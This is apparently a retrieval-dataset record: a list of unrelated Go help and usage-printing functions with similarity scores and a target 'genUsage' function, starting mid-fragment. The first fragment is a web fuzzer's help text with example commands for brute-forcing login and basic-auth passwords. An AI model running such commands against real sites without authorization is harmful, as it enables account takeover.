method.\")\n\tfmt.Println(\"--post-form key=FUZZ : Specify form value eg key=value.\")\n\t// fmt.Println(\"--post-multipart file.FUZZ : Fuzz filename for file uploads.\")\n\tfmt.Println(\"-p IP:PORT : Specify proxy.\") // TODO: need better cmdline parse for two URLs\n\tfmt.Println(\"-b COOKIE : Specify cookie.\")\n\tfmt.Println(\"-ua USERAGENT : Specify user agent.\")\n\tfmt.Println(\"--password PASSWORD : Specify password for basic web auth.\")\n\tfmt.Println(\"--username USERNAME : Specify username.\")\n\tfmt.Println(\"--no-follow : Don't follow HTTP(S) redirections.\")\n\tfmt.Println(\"--no-color : Monotone output. (use for windows\")\n\tfmt.Println(\"--print-body : Print response body to stdout.\")\n\tfmt.Println(\"-k : Strict TLS connections (skip verify=false opposite of curl).\")\n\tfmt.Println(\"-q : No output.\")\n\tfmt.Println(\"-H : Add headers. (e.g. Key:Value)\")\n\tfmt.Printf(\"\\n\")\n\tfmt.Println(\"Examples: gfz -w users.txt -w pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z\")\n\tfmt.Println(\" gfz -z file,default/common.txt -z list,-.php http://somesite.com/FUZZFUZ2Z\")\n\tfmt.Println(\" gfz -t 32 -w somelist.txt https://someTLSsite.com/FUZZ\")\n\tfmt.Println(\" gfz --print-body --sc 200 --post-form \\\"name=FUZZ\\\" -z file,somelist.txt http://somesite.com/form\")\n\tfmt.Println(\" gfz --post -b mycookie -ua normalbrowser --username admin --password FUZZ -z list,admin-password http://somesite.com\")\n}", "func (cli *CLI) printUsage() {\n\tfmt.Println(\"Usage:\")\n\tfmt.Printf(\" getbal -address ADDRESS\\t Gets the balance for an address.\\n\")\n\tfmt.Printf(\" create -address ADDRESS\\t Creates a blockchain and sends genesis reward to address.\\n\")\n\tfmt.Printf(\" print\\t Prints the blocks in the chain.\\n\")\n\tfmt.Printf(\" send -from FROM -to TO -amount AMOUNT\\t Sends amount of coins from one address to another.\\n\")\n\tfmt.Printf(\" createwallet\\t Creates a new Wallet.\\n\")\n\tfmt.Printf(\" listaddresses\\t List the addresses in the wallets file.\\n\")\n}", "func PrintInfo(version, commit, date string) {\n\tfmt.Println(\"🔥 Heamon version:\", version)\n\tfmt.Println(\"🛠️ Commit:\", commit)\n\tfmt.Println(\"📅 Release Date:\", date)\n}", "func help() {\r\n fmt.Printf(\"ORIGAMI\\n\")\r\n fmt.Printf(\"\\tA web app that checks the toner levels of printers at the Elizabethtown College campus.\\n\\n\")\r\n fmt.Printf(\"USAGE\\n\")\r\n fmt.Printf(\"\\tUsage: origami [-f filepath | -h]\\n\\n\")\r\n fmt.Printf(\"OPTIONS\\n\")\r\n fmt.Printf(\"\\t-f: specify the filepath of the config file (\\\"./origami.conf\\\" by default)\\n\")\r\n fmt.Printf(\"\\t-h: this menu\\n\\n\")\r\n fmt.Printf(\"AUTHOR\\n\")\r\n fmt.Printf(\"\\tRory Dudley (aka pinecat: https://github.com/pinecat/origamiv2)\\n\\n\")\r\n fmt.Printf(\"EOF\\n\")\r\n}", "func (m *Method) Print(w io.Writer) {\n\t_, _ = fmt.Fprintf(w, \" - method %s\\n\", m.Name)\n\tif len(m.In) > 0 {\n\t\t_, _ = fmt.Fprintf(w, \" in:\\n\")\n\t\tfor _, p := range m.In {\n\t\t\tp.Print(w)\n\t\t}\n\t}\n\tif m.Variadic != nil {\n\t\t_, _ = fmt.Fprintf(w, \" ...:\\n\")\n\t\tm.Variadic.Print(w)\n\t}\n\tif len(m.Out) > 0 {\n\t\t_, _ = fmt.Fprintf(w, \" out:\\n\")\n\t\tfor _, p := range m.Out {\n\t\t\tp.Print(w)\n\t\t}\n\t}\n}", "func (p *Package) Print() {\n\tconst padding = 3\n\tw := tabwriter.NewWriter(os.Stdout, 0, 0, padding, ' ', tabwriter.AlignRight)\n\tprintln()\n\tfmt.Fprintln(w, \"NAME:\", \"\\t\", p.Name)\n\tfmt.Fprintln(w, \"PATH:\", \"\\t\", p.Path)\n\tfmt.Fprintln(w, \"SYNOPSIS:\", \"\\t\", p.Synopsis)\n\tfmt.Fprintln(w, \"STARS:\", \"\\t\", p.Stars)\n\tfmt.Fprintln(w, \"SCORE:\", \"\\t\", p.Score)\n\tw.Flush()\n}", "func PrintInfo() {\n\tfmt.Print(\"Surface Field association:\\n\")\n\tfmt.Print(\"EMPTY\\t\\t' '\\n\")\n\tfmt.Print(\"BOX\\t\\t'$'\\n\")\n\tfmt.Print(\"FIGURE\\t\\t'x'\\n\")\n\tfmt.Print(\"EMPTY POINT\\t'*'\\n\")\n\tfmt.Print(\"BOX POINT\\t'%'\\n\")\n\tfmt.Print(\"FIGURE POINT\\t'+'\\n\")\n\tfmt.Print(\"WALL\\t\\t'#'\\n\")\n\tfmt.Print(\"DEAD FIELD\\t'☠'\\n\")\n}", "func (app *App) ShowHelp(cmdName string) {\n\n\tfindLongestOption := func(options []Option) int {\n\t\tmax := 0\n\t\tfor _, opt := range options {\n\t\t\tlength := 0\n\t\t\tif opt.Value != \"\" {\n\t\t\t\tlength = len(opt.Key) + 1 + len(opt.Value)\n\t\t\t} else {\n\t\t\t\tlength = len(opt.Key)\n\t\t\t}\n\t\t\tif length > max {\n\t\t\t\tmax = length\n\t\t\t}\n\t\t}\n\t\treturn max\n\t}\n\n\toptionFormatStr := \"\"\n\n\tformatOption := func(opt Option) string {\n\t\tif opt.Value != \"\" {\n\t\t\tpair := fmt.Sprintf(\"%v=%v\", opt.Key, opt.Value)\n\t\t\treturn fmt.Sprintf(optionFormatStr, pair)\n\t\t} else {\n\t\t\treturn fmt.Sprintf(optionFormatStr, opt.Key)\n\t\t}\n\t}\n\n\tshowOptions := func(options []Option) {\n\t\tlongest := findLongestOption(options)\n\t\toptionFormatStr = fmt.Sprintf(\" -%%-%vv\", longest)\n\t\tfmt.Printf(\"\\n\")\n\t\tfor _, opt := range options {\n\t\t\tfmt.Printf(\"%v\", formatOption(opt))\n\t\t\twriteBody(opt.Description, 3, 6+longest)\n\t\t}\n\t}\n\n\tcmd := app.find(cmdName)\n\tif cmd != nil {\n\t\tcmdAndArgs := cmd.Name + \" \" + formatCmdArgs(cmd.Args)\n\t\tfmt.Printf(\"\\n%v\\n\\n\", cmdAndArgs)\n\t\twriteBody(cmd.ShortDescription()+\".\", 2, 2)\n\t\tif cmd.ExtraDescription() != \"\" {\n\t\t\twriteBody(cmd.ExtraDescription(), 2, 2)\n\t\t}\n\t\tif len(cmd.Options) != 0 {\n\t\t\tshowOptions(cmd.Options)\n\t\t}\n\t} else {\n\t\tlongestCmd := 0\n\t\tfor _, c := range app.Commands {\n\t\t\tif len(c.Name) > longestCmd {\n\t\t\t\tlongestCmd = len(c.Name)\n\t\t\t}\n\t\t}\n\t\tcmdFormatStr := fmt.Sprintf(\" %%-%vv %%v\\n\", longestCmd)\n\t\tif app.Description != \"\" {\n\t\t\tfmt.Printf(\"\\n%v\\n\\n\", app.Description)\n\t\t}\n\t\tfor _, c := range app.Commands {\n\t\t\tfmt.Printf(cmdFormatStr, c.Name, c.ShortDescription())\n\t\t}\n\t\tif len(app.Options) != 0 {\n\t\t\tshowOptions(app.Options)\n\t\t}\n\t}\n\n}", "func printOutputHeader() {\n\tfmt.Println(\"\")\n\tfmt.Println(\"FreeTAXII Server\")\n\tfmt.Println(\"Copyright, Bret Jordan\")\n\tfmt.Println(\"Version:\", sVersion)\n\tfmt.Println(\"\")\n}", "func (masterfile *MasterFile) Print(spacing int) {\n\tlog.Debug(\"%*sMagic : %s\", spacing, \"\", masterfile.Magic)\n\tlog.Debug(\"%*sMD5 : %s\", spacing, \"\", masterfile.Md5)\n\tlog.Debug(\"%*sGeneration : %d\", spacing, \"\", masterfile.Generation)\n}", "func printAllCommands(cmds []Commander) {\n\tconst format = \"%v\\t%v\\t%v\\t%v\\n\"\n\ttw := new(tabwriter.Writer).Init(os.Stdout, 0, 8, 2, ' ', 0)\n\tfmt.Fprintf(tw, format, \"Path\", \"Alias\", \"Command\", \"Args\")\n\tfmt.Fprintf(tw, format, \"-----\", \"-----\", \"-------\", \"----\")\n\tfor _, t := range cmds {\n\t\tfmt.Fprintf(tw, format, t.Path, t.Alias, t.Command, strings.Join(t.Args, \" \"))\n\t}\n\ttw.Flush()\n}", "func (c *Cmd) PrintLongHelp() {\n\tc.printHelp(true)\n}", "func printHelp() {\n\t// print help using the flag package default\n\tflag.Usage()\n\t// add the two trailing arguments for source and dest\n\tfmt.Fprintf(os.Stderr, \" source: The source of the copy, either a local file path or an s3 path like s3:bucket:/path\\n\")\n\tfmt.Fprintf(os.Stderr, \" destination: The destination of the copy, in the same format as source (above)\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\nBoth source and destination are required, and one must be an s3 path, another must be a local path\\n\\n\")\n}", "func printSubcommandDesc() {\n\tcmds := make([]string, len(subcommands))\n\ti := 0\n\tfor k := range subcommands {\n\t\tcmds[i] = k\n\t\ti++\n\t}\n\tsort.Strings(cmds)\n\n\tfor _, c := range cmds {\n\t\tfmt.Printf(\" %-8s : %s\\n\", subcommands[c].name, subcommands[c].desc)\n\t}\n}", "func PrintCommands() {\n logger.Log(fmt.Sprintln(\"** Daemonized Commands **\"))\n for cmd, desc := range DaemonizedCommands() {\n logger.Log(fmt.Sprintf(\"%15s: %s\\n\", cmd, desc.description))\n }\n\n logger.Log(fmt.Sprintln(\"** Information Commands **\"))\n for cmd, desc := range InfoCommands() {\n logger.Log(fmt.Sprintf(\"%15s: %s\\n\", cmd, desc.description))\n }\n\n logger.Log(fmt.Sprintln(\"** Interactive Commands **\"))\n for cmd, desc := range InteractiveCommands() {\n logger.Log(fmt.Sprintf(\"%15s: %s\\n\", cmd, desc.description))\n }\n}", "func (cli *CommandLine) printUsage() {\n\tfmt.Println(\"Usage : \")\n\tfmt.Println(\"getbalance -address ADDRESS - print blockchain \")\n\tfmt.Println(\"createblockchain -address ADDRESS - print blockchain \")\n\tfmt.Println(\"send -from FROM -to TO -amount AMOUNT - print blockchain \")\n\tfmt.Println(\"printchain - print blockchain \")\n}", "func (header *demoHeader) PrintInfo() {\n\tfmt.Printf(\"Filestamp: %s\\n\", strings.TrimRight(string(header.DemoFilestamp[:]), \"\\x00\"))\n\tfmt.Printf(\"Protocol: %d\\n\", header.DemoProtocol)\n\tfmt.Printf(\"Network Protocol: %d\\n\", header.NetworkProtocol)\n\tfmt.Printf(\"Server Name: %s\\n\", strings.TrimRight(string(header.ServerName[:]), \"\\x00\"))\n\tfmt.Printf(\"Client name: %s\\n\", strings.TrimRight(string(header.ClientName[:]), \"\\x00\"))\n\tfmt.Printf(\"Map: %s\\n\", strings.TrimRight(string(header.MapName[:]), \"\\x00\"))\n\tfmt.Printf(\"Game Directory: %s\\n\", strings.TrimRight(string(header.GameDirectory[:]), \"\\x00\"))\n\tfmt.Printf(\"Playback time: %f seconds\\n\", header.PlaybackTime)\n\tfmt.Printf(\"Ticks: %d\\n\", header.PlaybackTicks)\n\tfmt.Printf(\"Frames: %d\\n\", header.PlaybackFrames)\n\tfmt.Printf(\"Signon Length: %d\\n\", header.SignonLength)\n}", "func help() {\n fmt.Fprintf(os.Stderr,\"\\nUSAGE: %s -sstart_page -eend_page [ -f | -llines_per_page ]\" +\n\t\" [ -ddest ] [ in_filename ]\\n\", progname)\n}", "func printUsage() {\n\tfmt.Println(`Check YAML or JSON files for specific paths, and print a message if \nthose paths are present/missing. Useful for checking for missing \nkeys or targets in your YAML and JSON documents.\n\t`)\n\tfmt.Printf(\"Usage:\\n %s -s specfile /path/to/yaml-or-json ...\\n\\n\", os.Args[0])\n\tfmt.Println(\"Flags:\")\n\tpflag.PrintDefaults()\n}", "func (i Info) PrintFull(w io.Writer) (err error) {\n\tt, err := template.New(\"info\").Parse(printTemplate)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = t.Execute(w, i)\n\treturn\n}", "func (c *SystemCommand) Synopsis() string {\n\treturn \"Display system informations\"\n}", "func PrintHelpByTag(cmd *cobra.Command, all []*cobra.Command, tag string) {\n\ttable := newUITable()\n\tfor _, c := range all {\n\t\tif val, ok := c.Annotations[types.TagCommandType]; ok && val == tag {\n\t\t\ttable.AddRow(\" \"+c.Use, c.Long)\n\t\t}\n\t}\n\tcmd.Println(table.String())\n\tcmd.Println()\n}", "func (c *DisplayCommand) Synopsis() string {\n\treturn \"Display system informations\"\n}", "func Print(s, format string) {\n\tm, err := parse(s, format)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpp.Println(m)\n}", "func (m *Manifest) Print(w io.Writer, prettyPrint, printConfig bool) error {\n\tif printConfig {\n\t\treturn fmt.Errorf(\"can't print config, appc has no image configs\")\n\t}\n\tvar manblob []byte\n\tvar err error\n\tif prettyPrint {\n\t\tmanblob, err = json.MarshalIndent(m.manifest, \"\", \" \")\n\t} else {\n\t\tmanblob, err = m.manifest.MarshalJSON()\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tmanblob = append(manblob, '\\n')\n\tn, err := w.Write(manblob)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif n < len(manblob) {\n\t\treturn fmt.Errorf(\"short write\")\n\t}\n\treturn nil\n}", "func ShowHelp() {\n\tfmt.Printf(\"%v\\n\", helpText)\n}", "func godoc(s selection, args []string) {\n\tfmt.Println(runWithStdin(s.archive(), \"gogetdoc\", \"-modified\", \"-pos\", s.pos()))\n}", "func ShowHelp() {\n\tfmt.Println(`Usage of ./kube-ipam:\n -help\n Display usage help information of kube-ipam.\n -outputconf string\n Generate the configuration files required by different CNI plug-ins.(Use with \"macvlan | ipvlan | kube-router | bridge | flannel\")\n -version\n Display software version information of kube-ipam.\n `)\n}", "func (srv *MonitorServer) subManualShow(hType int) []byte {\n\tvar commands = make([]string, 0)\n\n\tfor k, _ := range *srv.webHandlers.Handlers[hType] {\n\t\tcommands = append(commands, k)\n\t}\n\tsort.Strings(commands)\n\n\tvar typeStr string\n\tswitch hType {\n\tcase WebHandleMonitor:\n\t\ttypeStr = \"monitor\"\n\tcase WebHandleReload:\n\t\ttypeStr = \"reload\"\n\tcase WebHandlePprof:\n\t\ttypeStr = \"debug\"\n\t}\n\n\tstr := \"<html>\\n\"\n\tstr += \"<body>\\n\"\n\tstr += fmt.Sprintf(\"<p>%s manual for %s</p>\\n\", typeStr, srv.name)\n\tstr += fmt.Sprintf(\"<p>version: %s</p>\\n\", srv.version)\n\tstr += fmt.Sprintf(\"<p>start_at: %s</p>\\n\", srv.startAt)\n\n\tfor _, command := range commands {\n\t\tline := fmt.Sprintf(\"<p><a href=\\\"/%s/%s\\\">%s</a></p>\\n\", typeStr, command, command)\n\t\tstr = str + line\n\t}\n\n\tstr += \"</body>\"\n\tstr += \"</html>\"\n\n\treturn []byte(str)\n}", "func printCmd(cmd data.ShareCommand) {\n\tfor _, v := range cmd.Data() {\n\t\tlog.Println(v)\n\t}\n}", "func help() {\n\tfmt.Println(exampleText)\n}", "func (p *Parser) PrintUsage() {\n\tfmt.Print(p.Usage)\n\toptFormat := fmt.Sprintf(\"%%-%ds%%s\\n\", p.OptPadding+4)\n\tprintHeader := true\n\tfor _, op := range p.options {\n\t\tif !op.hidden {\n\t\t\tif printHeader {\n\t\t\t\tfmt.Print(\"\\nOptions:\\n\")\n\t\t\t\tprintHeader = false\n\t\t\t}\n\t\t\top.Print(optFormat)\n\t\t}\n\t}\n}", "func showHelp(exitStatus int) {\n\tfmt.Print(help.Help)\n\n\tos.Exit(exitStatus)\n}", "func (srv *MonitorServer) manualShow() []byte {\n\tstr := \"<html>\\n\"\n\tstr += \"<body>\\n\"\n\tstr += fmt.Sprintf(\"<p>Welcome to %s</p>\\n\", srv.name)\n\tstr += fmt.Sprintf(\"<p>version: %s</p>\\n\", srv.version)\n\tstr += fmt.Sprintf(\"<p>start_at: %s</p>\\n\", srv.startAt)\n\tstr = str + fmt.Sprintf(\"<p><a href=\\\"/monitor\\\">monitor</a></p>\\n\")\n\tstr = str + fmt.Sprintf(\"<p><a href=\\\"/reload\\\">reload</a></p>\\n\")\n\tstr = str + fmt.Sprintf(\"<p><a href=\\\"/debug\\\">debug</a></p>\\n\")\n\n\tstr += \"</body>\"\n\tstr += \"</html>\"\n\n\treturn []byte(str)\n}", "func (p *Parser) GenerateHelp() string {\n\tvar result bytes.Buffer\n\tif p.cfg.Usage != \"\" {\n\t\tresult.WriteString(fmt.Sprintf(\"Usage: %s\\n\", p.cfg.Usage))\n\t} else {\n\t\tresult.WriteString(fmt.Sprintf(\"Usage: %s %s %s\\n\", p.cfg.Name,\n\t\t\tp.generateUsage(isOption),\n\t\t\tp.generateUsage(isArgument)))\n\t}\n\n\tif p.cfg.Desc != \"\" {\n\t\tresult.WriteString(\"\\n\")\n\t\tresult.WriteString(WordWrap(p.cfg.Desc, 0, p.cfg.WordWrap))\n\t\tresult.WriteString(\"\\n\")\n\t}\n\n\tcommands := p.generateHelpSection(isCommand)\n\tif commands != \"\" {\n\t\tresult.WriteString(\"\\nCommands:\\n\")\n\t\tresult.WriteString(commands)\n\t}\n\n\targument := p.generateHelpSection(isArgument)\n\tif argument != \"\" {\n\t\tresult.WriteString(\"\\nArguments:\\n\")\n\t\tresult.WriteString(argument)\n\t}\n\n\toptions := p.generateHelpSection(isOption)\n\tif options != \"\" {\n\t\tresult.WriteString(\"\\nOptions:\\n\")\n\t\tresult.WriteString(options)\n\t}\n\n\tenvVars := p.generateHelpSection(isEnvVar)\n\tif options != \"\" {\n\t\tresult.WriteString(\"\\nEnvironment Variables:\\n\")\n\t\tresult.WriteString(envVars)\n\t}\n\n\tif p.cfg.Epilog != \"\" {\n\t\tresult.WriteString(\"\\n\" + WordWrap(p.cfg.Epilog, 0, p.cfg.WordWrap))\n\t}\n\treturn result.String()\n}", "func usageMain(w io.Writer, set *flag.FlagSet) error {\n\toutputPara(w, usageLineLength, 0, usageShort)\n\toutputPara(w, usageLineLength, 0, usageMainPara)\n\n\tcmdNames := commands.Names()\n\n\tfieldWidth := 0\n\tfor _, name := range cmdNames {\n\t\tif n := len(name); n+4 > fieldWidth {\n\t\t\tfieldWidth = n + 4\n\t\t}\n\t}\n\n\tfmt.Fprintln(w, \"Commands:\")\n\tfor _, name := range cmdNames {\n\t\tcmd, _ := commands[name]\n\t\tfmt.Fprintf(w, \"%s%-*s %s\\n\", strings.Repeat(\" \", usageIndent), fieldWidth, name, cmd.shortDesc)\n\t}\n\tfmt.Fprintln(w)\n\toutputPara(w, usageLineLength, 0, usageCommandPara)\n\n\tif !isFlagPassed(set, commonFlag) {\n\t\toutputPara(w, usageLineLength, 0, usageCommonPara)\n\n\t\treturn nil\n\t}\n\n\tfmt.Fprintln(w, \"Configuration file:\")\n\toutputPara(w, usageLineLength, usageIndent, usageConfigIntroPara)\n\toutputPara(w, usageLineLength, usageIndent, usageConfigLocationPara)\n\toutputPara(w, usageLineLength, usageIndent, usageConfigKeysPara)\n\n\tfmt.Fprintln(w, \"Explicit and implicit anchors:\")\n\toutputPara(w, usageLineLength, usageIndent, usageAnchorsIntroPara)\n\toutputPara(w, usageLineLength, usageIndent, usageAnchorsFormatPara)\n\toutputPara(w, usageLineLength, usageIndent, usageAnchorsInsecurePara)\n\n\tfmt.Fprintln(w, \"Additional path segment:\")\n\toutputPara(w, usageLineLength, usageIndent, usageAPSIntroPara)\n\n\tfmt.Fprintln(w, \"TLS client certificates:\")\n\toutputPara(w, usageLineLength, usageIndent, usageCertsIntroPara)\n\toutputPara(w, usageLineLength, usageIndent, usageCertsFormatPara)\n\toutputPara(w, usageLineLength, usageIndent, usageCertsKeyPara)\n\n\tfmt.Fprintln(w, \"Additional HTTP headers:\")\n\toutputPara(w, usageLineLength, usageIndent, usageHeadersPara)\n\toutputPara(w, usageLineLength, usageIndent*2, usageHeadersExample)\n\n\tfmt.Fprintln(w, \"HTTP Host header:\")\n\toutputPara(w, usageLineLength, usageIndent, usageHostHeaderPara)\n\n\tfmt.Fprintln(w, \"Request timeout:\")\n\toutputPara(w, usageLineLength, usageIndent, usageTimeoutPara)\n\n\treturn nil\n}", "func (c *GetCommand) Synopsis() string {\n\treturn \"Getting the wiki tree to code\"\n}", "func print_stats(){\nfmt.Print(\"\\nMemory usage statistics:\\n\")\nfmt.Printf(\"%v names\\n\",len(name_dir))\nfmt.Printf(\"%v replacement texts\\n\",len(text_info))\n}", "func Print() {\n\tfmt.Printf(\"hierarchy, version %v (branch: %v, revision: %v), build date: %v, go version: %v\\n\", Version, Branch, GitSHA1, BuildDate, runtime.Version())\n}", "func DoHelp() {\n\t// Not using the logger for this output because the header and footer look weird for help text.\n\tfmt.Println(GetHelpText())\n}", "func (p *Parser) PrintHelpPanel() {\n\tcolor.Fprint(p.out, p.String())\n}", "func Info() {\n\tfmt.Println(\n\t\tau.Sprintf(au.Cyan(\"aqa++ %v %v\"), au.White(\"v1.0.0\").Bold(), au.White(\"repl\")),\n\t)\n\n\tfmt.Println(\n\t\tau.Sprintf(\n\t\t\tau.White(\"Type '%v', '%v', '%v' or '%v'\"),\n\t\t\tau.BrightWhite(\"%lex\").Bold(),\n\t\t\tau.BrightWhite(\"%parse\").Bold(),\n\t\t\tau.BrightWhite(\"%eval\").Bold(),\n\t\t\tau.BrightWhite(\"%help\").Bold(),\n\t\t),\n\t)\n\n\tfmt.Println(\"\")\n}", "func PrintGundem(params *model.GundemParams) error {\n\tt, err := popularTopics(params)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thiWhite.Printf(\"%3s\\n\", \"#\")\n\tfor i, topic := range t {\n\t\thiYellow.Printf(\"%3d\", i+1)\n\t\thiWhite.Printf(\" %s \", topic.Title)\n\t\tgrey.Printf(\"(%s)\\n\", topic.NewEntryCount)\n\t}\n\treturn nil\n}", "func PrintInfo() {\n\tPrint(GreenText(LibraryInfo()))\n}", "func (capability *Capability) Print() error {\n\tinfo, err := capability.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Println(info)\n\treturn nil\n}", "func printOutputHeader() {\n\tfmt.Println(\"\")\n\tfmt.Println(\"FreeTAXII TestLab - Basic Connectivity Tests\")\n\tfmt.Println(\"Copyright: Bret Jordan\")\n\tfmt.Println(\"Version:\", Version)\n\tif Build != \"\" {\n\t\tfmt.Println(\"Build:\", Build)\n\t}\n\tfmt.Println(\"\")\n}", "func (a *Parser) PrintConfig(w io.Writer) {\n\tif len(a.seq) > 0 {\n\t\tfmt.Fprintf(w, \"\\nSpecial characters:\\n\")\n\t\tfor _, s := range [5]specConstant{SpecSymbolPrefix, SpecOpenQuote, SpecCloseQuote, SpecSeparator, SpecEscape} {\n\t\t\tfmt.Fprintf(w, \" %c %s\\n\", a.config.GetSpecial(s), specialDescription[s])\n\t\t}\n\t\tfmt.Fprintf(w, \"\\nBuilt-in operators:\\n\")\n\n\t\treverse := make(map[opConstant]string, len(a.config.opDict))\n\t\tfor n, v := range a.config.opDict {\n\t\t\treverse[v] = n\n\t\t}\n\t\ttext := make(map[opConstant]string, len(a.config.opDict))\n\t\ttext[OpCond] = \"conditional parsing (if, then, else)\"\n\t\ttext[OpDump] = \"print parameters and symbols on standard error (comment)\"\n\t\ttext[OpImport] = \"import environment variables as symbols\"\n\t\ttext[OpInclude] = \"include a file or extract name-values (keys, extractor)\"\n\t\ttext[OpMacro] = \"expand symbols\"\n\t\ttext[OpReset] = \"remove symbols\"\n\t\ttext[OpSkip] = \"do not parse the value (= comment out)\"\n\n\t\tprint := func(name, doc string) {\n\t\t\tif len(name) > 8 {\n\t\t\t\tfmt.Fprintf(w, \" %s\\n\", name)\n\t\t\t\tfmt.Fprintf(w, \" %-8s %s\\n\", \"\", doc)\n\t\t\t} else {\n\t\t\t\tfmt.Fprintf(w, \" %-8s %s\\n\", name, doc)\n\t\t\t}\n\t\t}\n\t\tprint(reverse[OpCond], text[OpCond])\n\t\tprint(reverse[OpDump], text[OpDump])\n\t\tprint(reverse[OpImport], text[OpImport])\n\t\tprint(reverse[OpInclude], text[OpInclude])\n\t\tprint(reverse[OpMacro], text[OpMacro])\n\t\tprint(reverse[OpReset], text[OpReset])\n\t\tprint(reverse[OpSkip], text[OpSkip])\n\t}\n}", "func (t *TransformCmd) PrintUsage() {\n\tt.fs.PrintDefaults()\n}", "func PrintMetaMap(metaMap map[string]*FileMetaData) {\n\n\tfmt.Println(\"--------BEGIN PRINT MAP--------\")\n\n\tfor _, filemeta := range metaMap {\n\t\tfmt.Println(\"\\t\", filemeta.Filename, filemeta.Version, filemeta.BlockHashList)\n\t}\n\n\tfmt.Println(\"---------END PRINT MAP--------\")\n\n}", "func PrintMetaMap(metaMap map[string]FileMetaData) {\n\n\tfmt.Println(\"--------BEGIN PRINT MAP--------\")\n\n\tfor _, filemeta := range metaMap {\n\t\tfmt.Println(\"\\t\", filemeta.Filename, filemeta.Version, filemeta.BlockHashList)\n//\t\tfmt.Println(\"\\t\", filemeta.Filename, filemeta.Version)\n\t}\n\n\tfmt.Println(\"---------END PRINT MAP--------\")\n\n}", "func GetHelp() string {\n\tmsg := \"List of available commands\\n /status - returns validator status, voting power, current block height \" +\n\t\t\"and network block height\\n /peers - returns number of connected peers\\n /node - return status of caught-up\\n\" +\n\t\t\"/balance - returns the current balance of your account \\n /list - list out the available commands\"\n\n\treturn msg\n}", "func (Interface *LineInterface) PrintUsage() {\n\tfmt.Println(\"USAGE:\")\n\tfmt.Println(\" -> dev : go run main.go <OPTIONS>\")\n\tfmt.Println(\" -> build : ./go-block-chain <OPTIONS>\")\n\tfmt.Println(\" • getbalance -address ADDRESS - get balance for address.\")\n\tfmt.Println(\" • createblockchain -address ADDRESS - creates a blockchain.\")\n\tfmt.Println(\" • printchain - prints the blocks in the blockchain.\")\n\tfmt.Println(\" • send -from FROM -to TO -amount AMOUNT - send amount from an address to an address.\")\n\tfmt.Println(\" • createwallet - creates a new wallet.\")\n\tfmt.Println(\" • listaddresses - lists the addresses in our wallet file.\")\n}", "func printUsage() {\n\tfmt.Println(\"----------------------------------------------\")\n\tfmt.Println(\"Usage: Converts the .db file into a .sql file.\")\n\tfmt.Println(\"Usage Example: ./db_convert -file default.db\")\n}", "func showHelp(s string) {\n var commands = setHelpCommands()\n fmt.Println(\"gobash> showing help\")\n switch s {\n case \"all\", \"help\", \"h\", \"?\":\n color.Green(\"%v\\n\", commands[\"help\"])\n color.Green(\"%v\\n\", commands[\"cd\"])\n color.Green(\"%v\\n\", commands[\"ls\"])\n color.Green(\"%v\\n\", commands[\"exec\"])\n color.Green(\"%v\\n\", commands[\"exit\"])\n case \"cd\":\n color.Green(\"%v\\n\", commands[\"cd\"])\n case \"ls\":\n color.Green(\"%v\\n\", commands[\"ls\"])\n case \"exec\":\n color.Green(\"%v\\n\", commands[\"exec\"])\n case \"exit\":\n color.Green(\"%v\\n\", commands[\"exit\"])\n default:\n color.Red(\"help command unrecognized\")\n }\n}", "func dumpmd(md MessageData) {\n\tfmt.Printf(\"Command: %s\\n\", md.Message.Command)\n\tfmt.Println(\"Headers:\")\n\tfor i := 0; i < len(md.Message.Headers); i += 2 {\n\t\tfmt.Printf(\"key:%s\\t\\tvalue:%s\\n\",\n\t\t\tmd.Message.Headers[i], md.Message.Headers[i+1])\n\t}\n\tfmt.Printf(\"Body: %s\\n\", string(md.Message.Body))\n\tif md.Error != nil {\n\t\tfmt.Printf(\"Error: %s\\n\", md.Error.Error())\n\t} else {\n\t\tfmt.Println(\"Error: nil\")\n\t}\n}", "func help() {\n\tfmt.Println(\"\\n--------------Command--------------\")\n\tfmt.Println(\"1. status\")\n\tfmt.Println(\"2. input [tipe identitas: string] [nomor identitas: integer]\")\n\tfmt.Println(\"3. leave [nomor loker: integer]\")\n\tfmt.Println(\"4. find [nomor identitas: integer]\")\n\tfmt.Println(\"5. search [tipe identitas: string]\")\n\tfmt.Println(\"6. exit\")\n\tfmt.Println(\"--------------End Command--------------\\n\")\n}" ]
[ "0.643233", "0.6397411", "0.6154959", "0.60716003", "0.60066336", "0.5985333", "0.59567195", "0.5945319", "0.592143", "0.59141445", "0.58520895", "0.57988304", "0.57733864", "0.5760647", "0.5757078", "0.5738855", "0.56932425", "0.56881464", "0.56636477", "0.56211007", "0.5620833", "0.5595652", "0.5585406", "0.5584392", "0.556982", "0.55547094", "0.55509794", "0.55403525", "0.55309296", "0.5418598", "0.5407979", "0.5380564", "0.5374362", "0.5370318", "0.5365302", "0.5358994", "0.5299785", "0.529883", "0.52985734", "0.52818465", "0.52699226", "0.5269094", "0.5266937", "0.52459586", "0.5226713", "0.52077043", "0.5191858", "0.51904535", "0.5187123", "0.51839364", "0.5181783", "0.5181454", "0.51754975", "0.5160698", "0.5157052", "0.51569426", "0.5151924", "0.5132961", "0.5118356", "0.51173645", "0.5113921", "0.5110157", "0.5109285", "0.5107443", "0.5099596", "0.5082359", "0.50809747", "0.5062622", "0.5055033", "0.50258374", "0.5022286", "0.50179845", "0.5009357", "0.5006906", "0.5003868", "0.4986285", "0.49824765", "0.49709743", "0.49704188", "0.49647856", "0.49643475", "0.49643275", "0.49583277", "0.49572626", "0.4951008", "0.49489063", "0.49484962", "0.49471933", "0.49471548", "0.4943493", "0.4942069", "0.49404624", "0.49395302", "0.49353465", "0.49318728", "0.49251878", "0.4923573", "0.49156207", "0.4911985" ]
0.80187
1
genUsage generates usage info
func genUsage() *usage.Info { info := usage.NewInfo("", "url", "path") info.AppNameColorTag = "{*}" + colorTagApp info.AddOption(OPT_YES, `Answer "yes" to all questions`) info.AddOption(OPT_NO_COLOR, "Disable colors in output") info.AddOption(OPT_HELP, "Show this help message") info.AddOption(OPT_VER, "Show version") info.AddExample( "https://rbinstall.kaos.st /path/to/clone", "Clone EK repository to /path/to/clone", ) return info }
